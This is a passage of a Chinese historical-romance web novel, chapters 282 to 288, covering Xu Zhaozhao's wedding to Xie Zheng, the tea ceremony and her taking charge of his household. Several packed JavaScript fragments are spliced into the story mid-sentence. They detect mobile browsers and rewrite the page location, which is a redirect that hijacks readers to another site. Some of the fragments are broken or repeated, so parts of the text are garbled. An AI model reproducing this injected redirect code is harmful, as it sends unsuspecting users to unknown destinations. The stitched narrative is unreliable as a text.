“要的要的!这是我的,这是我大哥乌尔汉的,这是我二哥三哥让我转交的,哦,这里面还有我父亲母亲的。总之,就是都给你!” 第282章 催妆 谁也没想到,许昭昭和莎娜竟然会成为朋友。 而主战的谢铮和许君锋,其实对于这些异族人并没有什么好感,毕竟之前他们也都参与了烧杀劫掠大兴子民的事。 但是既然现在归降了,他们也不能再表现出仇恨来。 谢铮私底下和许君锋以及方亮等人都说过,这些人不可信,还是要多加提防,尤其是各自麾下,不能有异族人担任要职。 他们管不了别人,所以就尽量掌控好自己的手下。 而且,谢铮还私底下进宫一趟,单独面圣,并且将自己的忧虑提出来,永安帝觉得他过于小心谨慎了,但是考虑一下之后,还是决定暂时不能给予这些人真正的要职。 可以给他们脸面,给他们富贵,但是暂时不能给太多的权利。 至于通婚一事,谢铮也觉得暂时没必要。 普通老百姓之间通婚也就算了,若是朝臣勋贵之间,最好还是要避开这些异族人。 永安帝原本想着借机给赐下几桩婚事,如此也好让这些人更好的为大兴卖命。 但是现在谢铮这么直接地说出来,他反倒是不急了。 异族人是否可信,的确是还有待商榷。 转眼,就到了许昭昭和谢铮的婚期。 谢铮是武将,所以他到了侯府之后,自然就要被人以武力来为难一番。 这也算是在帮着他**了。 毕竟大婚之喜,谁也不会真的动刀动枪,只是让他射箭举重,已经是很容易了。 许昭昭最小,之后两位舅兄出来为难他,但也只是象征性地拦一拦。 再往里走,又遇上了许君霆。 “三郎自幼文武双修,那可是才名在外的。今日便来一首催妆诗听听。” 这是很正常的流程,大兴朝的勋贵世家们,都会在迎亲时,让新郎官当场作一首催妆诗。 当然,有的是提前就**写好的,这都不重要,就是图个热闹。 许君霆话音一落,人群中纷纷起哄,个个都等着谢铮催妆。 “不知今夕是何夕,催促阳台近镜台。谁道芙蓉水中种,青铜镜里一枝开。” 话落,不少文人们拍着手中折扇,连连称妙。 许君霆知道一首催妆诗根本就拦不住他,又道:“这首不算,我觉得不好,再作一首。” 跟着谢三郎一起来迎亲的少年郎们开始起哄:“怎么不算了?这么好的催妆诗,这都是绝无仅有了,你怎么还故意为难我们三郎!” “就是就是,你说的不算,得让新娘子说不好才行。” “哎呀,未来三舅兄快让开吧,我们早些将新妇娶回去,酒席早些开宴,之后我们还要去灌新郎官酒水呢。” 众人哄堂大笑。 谢铮见他就是不让,没办法,只得再作一首。 “严妆应在绣闺中,似斗春芳拆晓风。试问夭桃临碧沼,何如艳质对青铜。” “妙极妙极!三郎以春芳、夭桃比喻新娘之美,赞美其美貌胜过春日之花。哎呀呀,我都想一睹芳容了!” 许君霆立马耷拉一张脸,冲着那厮喊:“去去去!有你什么事儿?我若是说不成呢?” “兄弟们,这许老三就是故意跟咱们过不去呢,上!把他捆了!” 都是一帮子武将,方亮这么一喊,呼啦啦上来十几个人,直接就把许君霆给拽一边儿去了。 捆是不可能真捆的,但闹是指定要闹的。 “不行!你们不能进去。” 许君霆守的便是紫园的大门,进去之后,便是闺房门这一关了。 众人以为这次会有些难,不知是文斗还是武斗。 结果出来一个丫环,手里头还牵着一位小郎君。 “这是世子家的小郎君吧?” “哟,长的跟个白面团子似的,真可爱。” “那小脸儿肉嘟嘟的,真想上前捏一把。” “新郎官,这一关你要让我们的小郎君满意,你才能娶走我们县主,否则,那你便只能回去了。” 谢铮咬着后槽牙,这是谁想出来的主意? 让一个三寸丁来拦门,这要怎么弄? 谢铮还没想好怎么哄孩子呢,身后就传来许君霆的大笑声:“哈哈!谢三郎,让你欺负我!哼,我们家这位小侄儿可是宝贝得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15194365|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很,也是昭昭最喜欢的大侄子,小老虎,记得三叔的话,一定不能点头,不能让这小子带走你姑姑啊!” 小老虎虽然年纪小,但还是知道带姑姑走是什么意思的,小嘴一撇就要哭,一旁的丫环连忙哄:“小公子千万不能哭哦,今天是你姑姑大喜的日子,要高高兴兴的才好。” “不要!” 小老虎说话还不利索,但是基本上能表达清楚自己的意思。 “不要姑姑走!姑姑留下!” “哈哈哈哈!”后面许君霆的笑声更大了,谢铮的脸色也更黑了。 “乖啊,我是你姑父,我来娶你姑姑,不是要把她带走,是我们两个以后要结为夫妻,以后你就会多一个人来疼爱了,不好吗?” 小老虎到底是年幼,不是很懂,但很会抓重点。 “多一个?” “对呀。” “姑姑最喜欢我!” “对对,你姑姑最喜欢你了。” “姑姑给我金锁、还有银元宝,还给我好吃的,你呢?” 难得的,小老虎说出来一长句,虽然是有些磕绊,但总算是说清楚了。 谢铮眼睛一亮知道这小娃娃喜欢什么了。 “来,这里面都是金豆子,你拿去玩好不好?” 小老虎的注意力果然被那荷包里的金豆子吸引了,吸吸鼻子:“都给我吗?” “对,都是你的。” 小老虎一把抢过来,生怕谢铮再反悔。 丫环的脸色都要僵了,这么容易就被收买了? 谢铮也觉得差不多了,哪成想这孩子竟然语出惊人。 “那你以后还给我吗?” “给。” “你会给我姑姑吗?” “给。” “那你可以把姑姑也还给我吗?” “给。”这个字刚一出口还没有合上嘴唇呢,谢铮就意识到不对,差点儿被小孩子给套路了。 “你姑姑就算是嫁给我了,也还是你姑姑呀!来,叫声姑父听听,我再给你拿一袋金豆子。” 小老虎眼睛一亮,想也没想直接喊:“姑父!” 第283章 敬茶 不管怎么说,接新还算是很顺利的。 许昭昭被许君安背出来,送上花轿。 许翰和王若兰站在门口看着,这眼泪就开始不听使唤了。 谁能想到,在战场上**如麻的许大将军,竟然也有这般情感外露的模样。 谢家这边留在新房里陪着许昭昭说话的,是谢云和谢乔。 谢云早在几个月前已经成婚,只是如今还未曾传出喜讯。 而谢家这边,也就只有谢云和许昭昭的关系更好一些,其它姑娘们与许昭昭都不怎么熟悉,所以此时在新房里,也只是安静地坐着。 谢乔是个爱说的性子,一会儿讲个笑话,一会儿又端着果子让许昭昭吃,总之就是一个挺会活跃气氛的小姑娘。 一直到谢铮被剑九扶着回来,谢云等人才起身告辞。 谢铮笑着看坐在那里不敢看自己的许昭昭,只觉得这辈子能娶到她,真是值了。 这一晚,红烛未熄,红被翻浪,许昭昭险些就要被谢铮这个狗男人给折腾晕过去。 许昭昭睡前还狠狠地拧了一把谢铮腰上的软肉,谢铮哪怕是再疼,也没敢表现出来。 他觉得自己已经很温柔了。 两次他都未能尽兴,一直都是在照顾着怀里的美人儿,只可惜许昭昭太难伺候了,一会儿嫌疼,一会儿嚷着让他滚到外面去睡。 总之,这一晚上是真热闹。 次日一早,便有人过来收走了喜帕,之后许昭昭被丁香和芍药二人小心服侍着更衣梳妆。 谢铮换好衣服过来时,许昭昭正在梳头。 丁香和芍药二人伺候她多年,对于梳头自然是十分熟练。 只是选头饰时,许昭昭一时间不知道该戴哪一套。 “戴这一套吧。” 芍药总共拿出来三套头面,谢铮选了那套黄金镶嵌红宝石的整套头面。 “咱们新婚,这个喜庆。” “会不会太过奢华?” “不会。这原本就是我送你的聘礼呢,现在戴上,也是再合适不过。至于奢华,呵呵,你原本就是圣上亲封的县主,如今又是世子夫人,谁敢多嘴?” 许昭昭一想也是,今日才是新婚第二日,自然不能打扮得太素净了。 许昭昭跟谢府这边的来往不多。 主要是因为她和谢铮定婚早,所以许昭昭鲜少踏足护国公府,总觉得尴尬。 往日与许昭昭交好的谢云已经出嫁,好在还有一位谢二夫人于氏,也算是许昭昭比较熟悉的长辈。 谢家人口可比许家兴旺多了。 许家虽然有老夫人在,但是总共也就只有两房。 但是谢家不同。 谢家这情况就比较复杂,而且谢家还是有庶出的长辈呢。 谢家老国公爷早已过世,如今的老夫人身体倒是还不错,谢铮的父亲谢啸林,也就是如今的护国公,但是不在府上,还远在冀州呢。 除了他之外,下面还有四位老爷,这可真是个大家族! 许昭昭只认得谢二老爷,也就是谢啸成,他并未从武,而且因为身体原因,所以只在朝堂上挂了个闲职,每日的生活倒是悠闲。 谢铮牵着她的手慢悠悠地走着,时不时看她一眼。 许昭昭原本想要忽略掉他的眼神,但是看他一直瞅,不由得有些不耐烦了。 “你到底想说什么?” 谢铮的表情有些讪讪:“我昨晚弄疼你了,你现在定然也不舒服,要不我抱你过去?” 许昭昭瞪眼:“你疯了?不行!” 今天要去给长辈们敬茶的,而且这府里到处都是下人,她可不想成为任人打量的猴子。 许昭昭虽然不认得谢府的大部分长辈,但是不代表了她不知道谢家的具体情况。 除了自己查到的,还有王若兰和李氏时不时跟她提到的一些谢家事。 谢铮也小声道:“你如今是我的妻子,便是这国公府的正经主子,不需要看别人脸色行事。若是有人敢不敬你,直接怼回去便是。” 许昭昭轻笑:“也包括二叔和二婶婶吗?” 谢铮一噎,随即笑道:“他们应该不会为难你。不过若是他们为难你了,也一样可以怼。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15194366|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 对于他这个态度,许昭昭还是很满意的。 嫁人嘛,就是得让自己过舒坦日子,若是敢让自己憋屈的忍着,她宁愿带人打出国公府去。 “我四叔是个混不吝的,但因为是我祖母所生的最小的儿子,所以一直很宠着他。好在这些年,倒也没有做什么太出格的事,所以我和父亲都是睁只眼闭只眼由着他。至于五叔,因为是庶出,所以早早分出去了,这次也只是因为要认人,所以才会过来的。” “嗯,我知道了。” 也就是说,如今住在国公府的,实际上就只有三房人。 长房、二房、四房。 至于三房和五房,都是庶出,所以当年在老国公爷还在世的时候,就已经做主将他们分出去了。 而谢铮这一辈中,若是按齿序排,二房的两位嫡出公子分别是大郎谢嵘、二郎谢琅。 但谢铮是长房嫡子,所以只论身份,谢铮自然是最尊贵的。 抛开这些都不谈,许昭昭自己还是安乐县主呢,就冲着这个,也没有人能随意地给她摆脸色。 就连老夫人也不行! 老夫人是国公夫人,这品级自然是在县主之上。 但问题是,国公夫人是依附于国公爷的,她自己本身除了朝廷俸禄之外,一无食邑、二无实权。 而许昭昭可不同,她是实封的县主,就冲这个,实际地位就应该是在国公夫人之上的。 只不过,尊老爱幼嘛,还是要敬着一些长辈的。 谢铮牵着许昭昭的手进入厅堂后,许昭昭就用力将自己的手抽回来了。 谢二夫人于氏正巧看到这一幕,捂嘴轻笑。 二人先给老夫人请安磕头,然后敬茶。 老夫人是个大方的,给二人的东西可都不俗,尤其是给许昭昭的,是一对儿碧绿的玉镯子。 因为是纯天然的玉镯子,虽然是一对,但若是细细比对,还是能发现些许的不同,但是乍一看,几乎就是一样。 到了给二房敬茶这里,于氏也很大方,给许昭昭送了一支赤金镶绿宝石的凤钗,拿着都压手。 第284章 锦绣园 谢铮的生母早逝,谢啸林又远在冀州,所以现在长房这里是没有一个正经长辈的。 至于留下来的一位妾室贾氏,那也是谢铮的母亲生前给谢啸林纳的,但是因为其身份太低,所以只能为妾。 谢铮的生母宋氏,也是出身名门,在她死前,做主给谢啸林纳了两房妾室,其中一人便是留在这里的贾氏,还有一个则是宋家旁支所出的庶女,在府里一直被老夫人称为小宋氏。 这位小宋氏远在冀州,留在那里帮着谢啸林打理一些事务,无论是小宋氏还是贾氏,二人膝下都只有女儿,无子。 所以,长房,仅谢铮一脉。 小宋氏虽然是远在冀州,但是她的女儿谢娟是留在国公府的。 贾氏带着她生的六小姐谢婵以及小宋氏生的谢娟,都站在后面,身份低微,所以许昭昭一直都没有注意到她们。 而且按规矩,无论是贾氏还是小宋氏,都是当不得许昭昭一礼的。 待谢铮带着许昭昭一起给长辈们见了一圈礼之后,这才开始给小辈们送上自己准备的礼物。 无论男女,人人一小缸的桂花红茶,包括贾氏和那两位庶妹。 谢家虽然不算是特别的重男轻女,但因为是武将世家出身,所以会对儿郎格外看重,女子不能上战场立功,自然就会被忽视很多。 尤其是谢婵和谢娟这样的庶女,就更不受重视了。 许昭昭注意到她二人的穿戴的确是比谢芸和谢乔要差了一层。 这也算是正常,哪怕她们是长房的小姐,但庶出终归是让她们的身份低了一些。 又是敬茶,又是送礼的,折腾一大圈,许昭昭是真有些累了。 而且谢老夫人也有些撑不住,挥手让大家都散了,然后各自回去。 原本按规矩,今天的午膳也是要一起用的,但是不知道谢铮先前是怎么跟老夫人说的,所以改到了晚上,而且也只是一起聚在花厅吃个饭,不再有其它的安排。 昨天被娶进门的时候,许昭昭脸前还挡着扇子,且戴的凤冠上也有珠帘,所以压根儿就不知道路是怎么走的。 今天被谢铮带着一边走,一边赏景,偶尔还会重点提一句哪处院子里住着哪些人。 谢铮住的院子,在国公府东侧,且离正院很近。 若是单纯论及大小,谢铮住的院子是仅次于正院的,而且名字起的也好听且直白,就叫锦绣园。 这园子的大小应该是比许昭昭以前住的紫园还在大一些。 毕竟一处是侯府,一处是国公府,这宅子大小上也是有规制的。 而谢铮是世子,国公府未来的继承人,自然是不同。 “先回去歇歇吧,待午后咱们见见各处的管事,得让他们都知道自己的主母是谁,之后我再带你逛逛这园子。” “好。” 中午,就只有谢铮和许昭昭一起用的午膳。 对此安排,许昭昭倒是很满意,因为她实在是没有精力再去应付那些亲戚了。 午后小憩半个时辰,人也精神了很多。 之后,就是谢铮陪着她到堂前训话。 大大小小的管事,竟有三十余人,这让许昭昭有些好奇,国公府里有这么多的管事? 待到这些管事们自报家门之后,许昭昭才知道这其中有一部分是谢铮产业的管事,比如说庄头、外头铺面的掌柜、账房等等。 难怪会来这么多人。 许昭昭也没指望着一次就把这些人全都记住,训过话后,又给了赏,这才让他们都回去安稳做事。 “你如今还只是世子,怎么会有这么多的产业?” 许昭昭看着桌上摆的那么厚一撂的帐册,再看看被推到她跟前的这个匣子,里面可是装满了地契、房契等等。 “这其中有一大部分都是来自于我母亲的陪嫁。我母亲早逝之后,所有的产业就都被我父亲安排人接手了,他还把当年的嫁妆单子都留存好了,去年我接手了一部分,今年你我定下婚期之后,父亲又命人将其它的都送过来了。” “原来如此,国公爷倒是一个心细如发之人。” 谢铮轻嗤道:“他算什么心细如发?若是真这么精明,当初又怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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许昭昭一听管理中馈这种事就觉得头大,她又不傻,才不会愿意去管这么大一摊子事儿呢! 赚钱不香吗? 躺平闲鱼不香吗? 第285章 训话 锦绣园的确是挺大,而且许昭昭很喜欢园子里一处碧水轩,那里临水而建,小桥流水,赏景品茗两相宜。 许昭昭觉得日后可以请嫂嫂或者是乐阳郡主过来这里喝茶对弈。 三日回门,于氏自然是给备了不少的回门礼,可以说目前谢家几个新妇中,许昭昭的回门礼是置办得最多,档次也最高的。 人多了,想法自然也就多了。 许昭昭忽略掉那几双明晃有些嫉妒的眼神,被谢铮扶着坐上马车,然后回娘家了。 谢铮规规矩矩地给长辈们磕头行礼之后,王若兰便拉着许昭昭进内室说话了。 许翰看着这个女婿是既欢喜,又有几分不甘心,最终还是把人带去了府上的演武场。 “女婿待你如何?” “他待我很好,而且谢家的几位长辈们也很和善。” “那些不过都是表象,说实话,其它人都不重要,关键是谢铮待你好,这才是最要紧的。” “母亲说的是。” “听闻小宋氏是谢铮生母的族妹,只是我也未曾见过,如今她在冀州陪着谢国公,也不知道日后回来是否好相处。” “母亲多虑了,她不过是父亲的一个妾室,而且父亲当年曾言明不会再续娶,所以,我上面不可能再多出一位正经婆婆来的。” 王若兰想想也是,当年谢啸林和宋氏之间的夫妻情深,就连那两位妾室,还是宋氏做主给他纳的。 “那两个庶妹如何?” 许昭昭摇头:“眼下接触的不多,所以看不出来。” 王若兰叹气道:“你们这一房没有正经的女长辈,只怕日后她们姐妹二人的婚事还要让你操心。” 许昭昭瞪眼:“她们只比我小了两岁,难不成至今未曾婚配?” 王若兰也没想到许昭昭竟然不知道。 “此事说来话长,也怪我当时只顾着谢家的那些长辈了,竟是忘了将这两个姑娘的事情与你说说。” 王若兰让许昭昭先吃了些点心,母女俩这才继续。 许昭昭也是这才知道,谢婵,也就是贾氏所出的六小姐,竟然是去岁退婚了。 而小宋氏所出的七小姐谢娟,幼时曾定过一门亲事,但是后来男方早逝,所以如今是个什么章程,王若兰也不是很清楚。 “最麻烦的就是这个谢娟了。她是小宋氏所出,贾氏只是一个普通的妾室,谢娟是府上七小姐,所以她的婚事应该是由主母来操心的,可是你们长房没有正经长辈,那便只能是去依托老夫人。 但我听说老夫人不喜小宋氏,自然连带着也不喜欢这个七孙女。至于二夫人和四夫人,她们虽是长辈,但都是隔了房的,我估摸着人家也不愿意多管闲事。如今你嫁过去了,成了她们的长嫂,只怕日后少不得要来麻烦你。” 许昭昭听罢,也没觉得有什么大不了的。 不过就是给两个庶妹找一门好亲事罢了,这个倒是不难。 而且若是明年国公爷回京的话,那么小宋氏自然也要陪同一起回来,届时,兴许就不需要她再去费心了。 母女俩说了会儿话,张氏妯娌三个便一起过来了。 王若兰看看时间,觉得也差不多了,便让她们一起去后面给老夫人请安,顺便在那里摆饭。 老夫人先前也出来了一趟,主要是受这对新人的礼,之后又被人扶着慢悠悠地回去了。 如今谢铮第一次以女婿的身份正式登门,自然是要去老夫人那里一同用膳,既是敬长辈,也是为了显示出他们全家对谢铮这个女婿的看重。 谢铮的婚假并没有多长,很快就要进宫当值了。 这一次谢铮获得的奖赏,除了大量的财物之外,就是一个勋赏。 谢铮被封勋:轻车都尉,这相当于从四品上的官职,除此之外,永安帝还册封他一个正四品上的忠武将军,再加上现在谢铮的实际官职为正四品下的羽林中郎将,所以严格来说,谢铮一个人是等于吃三份俸禄的。 别小看这三份俸禄,主要是官职都高呀。 而且这也是一种荣耀,更是代表了圣上对谢铮的态度,这很重要!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这其中,自然也有林嬷嬷。 “昨日我听人说有人胆敢偷盗世子爷的财物为己有,你们也知道我是什么身份,此事一旦查实,我定会送官法办。” 众人战战兢兢,齐齐低头应是,心中都已起了惊涛骇浪。 因为能接触到世子爷库房的,总共就两位管事,一位是世子爷的乳母林嬷嬷,还有一位便是跟在世子爷身边的亲随。 但此次世子夫人将他们叫过来,却并未让那位过来,一切显然都已再明白不过。 林嬷嬷也没想到,世子夫人刚一开始管事,便出手这般狠辣。 她虽知这位主母的出身不凡,但到底是什么性子,一时间也拿捏不准,自然不敢多话,更不会主动站出来认错。 许昭昭原本也不想真的让她在人前没脸,毕竟是谢铮的乳母,总得给谢铮三分颜面的。 而且若是林嬷嬷贪墨世子财物的事情传出去,也对谢铮的名声不利。 毕竟,多年来,谢铮对这位乳母还是很看重的。 若是传出林嬷嬷的这些罪名,只怕国公府内也会有人笑话谢铮不长眼。 许昭昭又简单的吩咐几句之后,便让众人退下,只留下了林嬷嬷在这里等着问话。 “林嬷嬷!” 林嬷嬷心头一颤,立马应声:“奴婢在。” “我听说,你那儿媳妇头上戴的金累丝嵌红宝石双鸾点翠步摇很不一般呀,正好与我那已逝婆母的一件嫁妆很像。另外,我听说你的大孙子出生时,你竟然大方的送出了一个赤金盘螭巊珞圈,若我没猜错,这当是我家夫君幼时所戴吧?” 林嬷嬷还有什么不明白的? 主母都已经将这东西的名字都点出来了,甚至还知道是用在哪一个身上,显然是早已知晓全部了。 扑通一声,林嬷嬷直接跪在地上。 “还请夫人开恩,奴婢知错了,定然将所有的东西都归位。” 许昭昭见她是个明白人,没有狡辩,也没有想着故意闹腾的意思,便知道这个人还能用。 “你既有此态度,我也不是那等咄咄逼人的性子。刚刚我提到的两样物件儿,便替世子爷做主赏你了。余下的东西,天黑前要归位。若是已经典当出去的,三日之内收回,若收不回,你自己拿银钱补上。” “是,奴婢一定按您的吩咐办。奴婢谢世子夫人赏!只是那东西金贵,以奴婢等人的身份,也实在是不配穿戴,奴婢定会一起送来。” 其实,林嬷嬷自己也知道,大儿媳头上戴的那东西是僭越了。 金累丝嵌红宝石双鸾点翠步摇,这东西是只能私底下偷偷戴,真要是让人看到了,那必然要告官,治她们一个僭越之罪的。 但这等好东西,谁不喜欢? 所以大儿媳时常在自家偷偷戴。 林嬷嬷确信大儿媳不是惹祸的性子,也就是说,未曾出他们的小院子,但世子夫人就是知道了,所以,足见这位主母的手段通天,绝对不是她们这些下人能糊弄得了的。 “也罢,倒是我疏忽了。” 许昭昭怎么可能是疏忽了,就是故意拿这两样东西来试她呢。 见她知道轻重,也知道是僭越之罪,便明白林嬷嬷是全心投诚了。 “丁香。” “奴婢在。” “去取两个银锞子过来,再将我先前命人打造的那支富贵双喜银步摇拿来,对了,我记得还有配套的一对银镯子,也一并带来。另外,再取六个小金锁过来。” 为何取六个? 因为林嬷嬷有六个孙子孙女。 许昭昭可没有重男轻女那一套认知,所以既然是要赏,那便赏全了。 如此,也可让林嬷嬷的几个儿子儿媳都知道,只要为她许昭昭忠心做事,她一个都亏待不了。 “这些东西你拿回去吧,我知道你二儿媳在膳房做事,听说她做得一手好羹汤,回去跟她说,等后晌炖上几盅梨汤,分别给老夫人和各房各院的长辈们送过去,再给世子爷留一份儿。” “是,奴婢记下了。” 林嬷嬷知道,主母这是在抬举她的二儿媳,毕竟在膳房做事的,大大小小的娘子们有二十多个,还有烧火丫头就有六七个。 这几年二儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许昭昭三言两语间,便收服了林嬷嬷,自然对这锦绣园的事情了解得就更多了。 这么些年,锦绣园内的丫环一直很少,主要就是因为谢铮年幼时,这里被国公爷吩咐过,不得有丫环伺候。 再后来谢铮大一些,便直接去冀州了,所以就更没必要添丫环。 直到去年谢铮回京,这锦绣园前前后后进了三批丫环。 这第一批丫环,是林嬷嬷得了老夫人吩咐,亲自在家生子里挑选的,总共只选了六个进来,而且在她们进锦绣园伺候前,还特意被林嬷嬷好好地教了几遍规矩。 第二批丫环,是于氏安排进来的。 更准确地说,应该是小宋氏托于氏给安排的。 人数也不多,就四个。 第三批丫环,则是在成婚前四房夫人向老夫人提议的。 毕竟是国公府的世子爷,院子里服侍的下人太少了,不像话。 就这么着,锦绣园现在的丫环有二十多个,这其中,包括了一些干洒扫的粗活丫头,也包括一些只做女红或者是侍奉茶点的大丫环和二等丫头。 许昭昭知道这些人的来历后,便打算先静观其变。 毕竟刚进门,总不能立马就把这些人都给打发了,真那样做,既得罪人,还会坏了自己名声。 划不来的! 但许昭昭还是有几分不解:“国公府里不是有专门的针线房吗?” “回世子夫人,的确是有。但是世子爷的一些贴身衣物,总得有人做,另外,偶尔的一些缝补,也都需要绣工好的绣娘,所以得老夫人吩咐,当初在第一批选人时,奴婢便特意挑了两个女红做得好的丫环。” “你的意思是,世子爷的贴身衣物都是她们做的?” 林嬷嬷犹豫一瞬,还是摇头道:“当时是这般打算的,但是实际上世子爷并未曾吩咐过,她们先前也试着做了几件,但世子爷都没要。” 许昭昭的表情有些一言难尽,那谢铮穿的是哪儿来的? 林嬷嬷二笑两声:“应该是宋青姑娘做的。” “嗯?” “宋青姑娘是已逝夫人的陪嫁,因为一手好绣活,所以一直很得夫人喜欢,后来国公爷的一些衣物也是由她亲手缝制。再后来,夫人仙逝,世子爷的衣物便都出自宋青姑娘之手。” 许昭昭脑子转了转,才想起来这位宋青是何人。 谢铮是称呼她为姑姑的。 宋青今年已经三十余岁,一直未嫁。 并且在夫人仙逝后,她便发誓一辈子不嫁人,一生要侍奉小公子。 “我知道她,三郎也曾与我提过多次。不过为何我一直未曾见到这位宋青姑姑?” “回世子夫人,宋青姑娘现在不在府中,主要是怕冲撞了您。” “此话何意?” “宋青原是宋家的家生子,相貌不俗,夫人在世时,曾想过给她抬身份,但是宋青不愿意,之后夫人过世,宋青悲痛欲绝,府里头又有人传出流言,说是宋青想要借着美色以及先夫人的情意来爬床,宋青是个性子烈的,当着国公爷的面儿便给自己脸上划了一刀,以此来证明,自己绝无攀附之心。” 许昭昭这才恍然大悟,这位宋青姑姑也太狠了。 对着自己的脸动手,这是真打算一辈子不嫁人了。 “自那之后,宋青脸上留下一道疤,很是可怖。所以自国公府开始筹办婚事后,她便躲起来了,直到世子爷成婚前几日,她又搬到城外的庄子上去住着,想着等来年再进府伺候。” 许昭昭笑了笑:“没必要。你回头让人给她传个话,就说我想见见她,也说世子爷有些想她了。” “是,奴婢今日就去办。” 林嬷嬷的那番说辞,其实跟许昭昭从谢铮口中听到的差不多,由此,也可以断定林嬷嬷不敢欺瞒主子。 但是对于这位宋青姑姑,许昭昭还是有几分敬佩的。 能对自己下这么狠的手,只是为了忠心护主,真是难得。 “先不说宋青了。既然这二人的女红做得不错,那就继续留在园子里伺候,不过世子爷既然是不喜,那日后便不要再让她们给世子爷缝制衣衫了。” “是。” 许昭昭又想到了外面的几位管事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15203290|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,便和林嬷嬷提了一句。 “明日我在外头的一些管事会过来请安,到时候你也一并认认人。” “是,奴婢记下了。” 下午,许昭昭小憩起来之后,丁香便小声道:“林嬷嬷带着她的二儿媳给您送梨汤来了。” “嗯,让她们进来吧。” “是。” 林嬷嬷的二儿媳叫.春香,这名字一听,就知道是哪位主子给改的。 “奴婢给世子夫人请安,这是奴婢后晌炖了一个多时辰的梨汤,特意送来给世子夫人润润嗓子。” 许昭昭点头:“你有心了。” “能服侍主子,是奴婢的福气。” 这投诚态度,还真是不错。 许昭昭看到对方还特意端了一碟子点心过来,是上面洒了糖霜的云片糕,看着这薄薄的糕片,便知道这个春香的厨艺的确不错。 “你这汤煮的不错,可曾跟什么人学过?” “回主子,奴婢打小就跟在一位老厨娘身后干活,后来又被她教了一些东西,但并未正经地学过。” “嗯,那可见你是个有天赋的。” 春香面上一喜:“谢主子夸奖。” “我这里有两张方子,你拿去看看能不能自己做出来,若是能,那日后我这里单开一间小厨房,你便过来做个管事娘子。若是不能,那回头我再安排人进来教教你。” 春香已然是喜不自胜:“奴婢多谢主子,奴婢一定尽心尽力。” 许昭昭给的方子并不是多珍贵,而且她手底下的人早已经在外头开酒楼了。 但是即便如此,也足够让春香感激的了。 其实各房各院都有小厨房,但也只是简易的小厨房,就是偶尔煮个汤或者是临时煮些粥之类的。 可许昭昭想要开的小厨房,那可是正儿八经的厨房,是能煮能炖能蒸的完善厨房。 若是别人,那兴许不行,老夫人这一关就过不去。 但许昭昭可不是别人! 正经来说,她才是这国公府未来的女主人,所以她想要做什么,哪个敢多嘴? 第288章 和庶妹的互相试探 许昭昭一连几日都缩在锦绣园里,除了给老夫人请安之外,别的地方哪也不去,倒是引得府中女眷们有些奇怪。 谢云已经出嫁,所以早早地回到婆家了。 而于氏也不觉得奇怪,毕竟许昭昭以前就不怎么喜欢去参加宴会,像她这样的贵女,一年只参加个六七场宴会,这就算是相当少的了。 有些爱热闹的,几乎是一个月里头就要参加六七场了。 所以说,许昭昭从这个方面来看,算是比较内向的。 许昭昭不怎么出锦绣园,日子一长,谢铮的两们庶妹自然是坐不住了。 谢婵和谢娟两人现在的婚事都还没有着落呢,虽然大兴对于女子出嫁的年纪没有那么严苛的约束,但至少她们现在得定下亲事呀,若不然,再等两年,那就成老姑娘了。 现在女子十四岁嫁人者比比皆是,可现在这二人都已经十五了,若是再定不下婚事,会让人笑话的。 像许昭昭十七岁才嫁人的,已经算是极少数了。 很多人十七岁都已经当娘了。 但许昭昭不会被人笑话,一是因为她出身好,且高门大户中,女子十六七岁才嫁人的,不在少数。 二来,许昭昭和谢铮的婚事早就定下,她是因为谢铮在外征战,所以才会成亲晚了些,所以不会有不长眼的人去指责许昭昭的。 